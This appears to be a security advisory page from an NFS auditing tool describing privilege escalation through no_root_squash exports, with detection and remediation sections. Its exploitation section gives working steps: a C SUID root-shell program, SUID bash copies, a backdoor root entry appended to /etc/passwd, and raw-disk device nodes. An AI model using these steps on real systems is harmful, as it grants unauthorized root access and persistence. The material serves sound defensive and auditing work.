Skip to content

F-4.1: no_root_squash Privilege Escalation

Classification

  • Severity: Critical
  • CVSS Vector: Network / Low Complexity / No Auth Required
  • Affected Versions: All NFS versions with AUTH_SYS
  • Configuration: no_root_squash in /etc/exports
  • Prerequisite: Write access to an export with no_root_squash enabled

Summary

When an NFS export is configured with no_root_squash, the server does not remap UID 0 (root) to an unprivileged user. This allows an attacker to create SUID root binaries on the share, which can then be executed by any user on a client that mounts the export without nosuid, yielding immediate root-level code execution.

Technical detail

Default behavior (root_squash)

By default, Linux NFS exports use root_squash:

/etc/exports:
/srv/share  *(rw,sync,root_squash)

When a client sends an RPC with UID=0, the server maps it to nobody (UID 65534). This prevents remote root from owning files as root on the server.

Vulnerable configuration

/etc/exports:
/srv/share  *(rw,sync,no_root_squash)

With no_root_squash, RPC requests claiming UID=0 are honored at face value. The attacker can:

  1. Create files owned by root (UID 0, GID 0)
  2. Set the SUID bit on executables
  3. Create device nodes (mknod)
  4. Modify system files if the export covers system directories

The SUID attack chain

┌─────────────────┐     ┌──────────────────────┐     ┌─────────────────┐
│ Attacker Machine│     │   NFS Server         │     │ Victim Client   │
│ (root access)   │     │ no_root_squash export│     │ mounts w/o nosuid│
├─────────────────┤     ├──────────────────────┤     ├─────────────────┤
│ 1. Mount export │────>│                      │     │                 │
│ 2. Upload SUID  │────>│ 3. File stored as    │     │                 │
│    binary as    │     │    root:root 4755    │     │                 │
│    UID 0        │     │                      │     │                 │
│                 │     │                      │<────│ 4. User executes│
│                 │     │                      │     │    SUID binary  │
│                 │     │                      │     │ 5. ROOT SHELL   │
└─────────────────┘     └──────────────────────┘     └─────────────────┘

Exploitation

Method 1: SUID shell binary

On the attacker machine (as root):

// exploit.c - minimal SUID root shell
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
# Compile on attacker
gcc exploit.c -o exploit

# Mount the vulnerable share as root
mount -t nfs -o vers=3,nolock target:/srv/share /mnt/nfs

# Copy binary, set ownership and SUID
cp exploit /mnt/nfs/
chown root:root /mnt/nfs/exploit
chmod 4755 /mnt/nfs/exploit

On the victim (any user with access to the mount):

# Execute the SUID binary
/srv/share/exploit
# Result: root shell
uid=0(root) gid=0(root) groups=0(root)

Method 2: Copy /bin/bash with SUID

# Even simpler - just copy bash with SUID
cp /bin/bash /mnt/nfs/rootbash
chown root:root /mnt/nfs/rootbash
chmod 4755 /mnt/nfs/rootbash

# On victim:
/srv/share/rootbash -p

Method 3: Modify /etc/passwd and /etc/shadow

If the export covers system directories (or escape is possible):

# Read shadow file
cat /mnt/nfs/etc/shadow > /tmp/shadow_backup

# Generate password hash
openssl passwd -6 -salt xyz "attackerpass"
# $6$xyz$<hash>

# Add a root-equivalent user
echo 'backdoor:$6$xyz$<hash>:0:0::/root:/bin/bash' >> /mnt/nfs/etc/passwd

# SSH in as the new root user
ssh backdoor@target

Method 4: Device node creation

# Create a device node for the target's disk
# This requires knowledge of the disk major/minor numbers
mknod /mnt/nfs/sda b 8 0
chmod 666 /mnt/nfs/sda

# On victim, read raw disk:
dd if=/srv/share/sda bs=512 count=1

Method 5: Using EvilNFSClient or libnfs (no mount required)

# EvilNFSClient approach
./evilnfsclient target /srv/share --uid 0 --gid 0
nfs> put ./exploit /exploit
nfs> chmod 4755 /exploit

# libnfs LD_PRELOAD approach
LD_NFS_UID=0 LD_NFS_GID=0 LD_PRELOAD=./ld_nfs.so \
    cp ./exploit nfs://target/srv/share/exploit
LD_NFS_UID=0 LD_NFS_GID=0 LD_PRELOAD=./ld_nfs.so \
    chmod u+s nfs://target/srv/share/exploit

Detection

Check for no_root_squash (from attacker perspective)

The only reliable remote check is to attempt creating a root-owned file:

# nfswolf automated check (always-on; runs as part of every analyze invocation)
nfswolf analyze target

This creates a temporary directory as UID 0 and immediately removes it. If the create succeeds, no_root_squash is confirmed and the finding is logged.

Server-side audit

# Check exports configuration
grep -i "no_root_squash" /etc/exports

# Check effective exports
exportfs -v | grep no_root_squash

Impact

  • Full root compromise of any client mounting the export without nosuid
  • Server compromise if the export is also mounted locally on the server
  • Persistence: SUID binaries survive reboots and are difficult to detect
  • Lateral movement: Compromise all machines that mount the affected export

Remediation

  1. Never use no_root_squash unless absolutely required and understood
  2. Mount with nosuid,nodev,noexec on all clients:
    mount -t nfs -o nosuid,nodev,noexec target:/share /mnt
    
  3. Use all_squash where possible to map all users to nobody
  4. Restrict exports to specific trusted hosts
  5. Monitor for SUID files on NFS mounts:
    find /mnt/nfs -perm -4000 -type f